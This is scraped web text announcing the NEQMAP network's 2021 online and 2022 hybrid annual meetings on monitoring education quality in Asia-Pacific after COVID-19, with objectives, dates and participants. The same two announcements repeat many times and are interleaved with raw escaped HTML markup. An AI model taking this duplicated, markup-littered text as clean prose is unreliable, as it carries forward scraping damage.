As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

